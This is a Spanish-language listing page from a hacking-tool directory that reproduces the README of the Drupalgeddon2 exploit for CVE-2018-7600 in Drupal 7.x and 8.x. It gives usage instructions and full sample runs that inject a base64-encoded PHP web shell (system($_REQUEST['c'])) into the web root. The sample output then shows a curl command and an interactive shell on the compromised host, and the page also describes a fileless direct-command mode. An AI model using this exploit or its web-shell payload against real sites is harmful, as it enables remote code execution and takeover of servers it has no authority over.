Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Drupalgeddon2 — Exploit para Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
Herramientas/GitHubGitHub/dreadlocked/drupalgeddon2
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de Penetración
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Exploit para Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Ver Repositorio
60016931hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Soporta:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, atacando los parámetros account/mail y #post_render, usando la función passthru de PHP
  • Drupal < 7.58 ~ URL user/password, atacando el formulario triggering_element_name y el parámetro #post_render, usando la función passthru de PHP
  • Funciona con comandos directos (también conocido como método sin archivos) o escribe un shell PHP en la raíz web (./) o subdirectorios (./sites/default/ y ./sites/default/files/)
  • Soporta objetivos Linux y Windows
  • Detecta automáticamente la versión de Drupal (¡o hace una buena suposición!)

El método user/register fue elegido para Drupal v8.x, ya que devuelve HTTP 200 y renderiza la salida en la respuesta JSON data (descomenta el código para el método timezone/#lazy_builder, que devolverá HTTP 500 y a ciegas!) (Más información)

Autores:

  • Hans Topo (@_dreadlocked)
  • g0tmi1k (@g0tmi1k)

Notas:

  • Para usuarios/configuraciones avanzadas hay un exploit más personalizable. Consulta la sección drupalgeddon2-customizable-beta.rb
  • Antes de abrir un issue, por favor, lee la sección de solución de problemas al final. ¡Gracias!

Uso:

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

Los parámetros --verbose y --authentication se pueden añadir en cualquier orden después de y ambos son opcionales. Si se especifica --authentication, se te pedirá que introduzcas:

  • nombre de usuario,
  • contraseña,
  • nombre del campo del formulario para el nombre de usuario,
  • nombre del campo del formulario para la contraseña,
  • ruta URL de la página web de inicio de sesión, p. ej., user/login
  • posible sufijo a añadir después de las credenciales en el envío del formulario, p. ej., form_id, etc.

Esto sirve para soportar la explotación de sitios web que primero requieren un inicio de sesión web basado en POST y que responden con una cookie de sesión tras una autenticación exitosa.

Ejemplo con Drupal v8.x

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Ejemplo con Drupal v7.x

Drupal < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

Comandos directos / Shell no PHP (también conocido como método sin archivos)

Si no quieres ni siquiera intentar escribir un shell web PHP en el servidor web, edita el archivo como se muestra (de todos modos, recurrirá a los comandos directos si no puede encontrar una ubicación escribible):

try_phpshelltryphpshell = false

Ejemplo

Descargar herramienta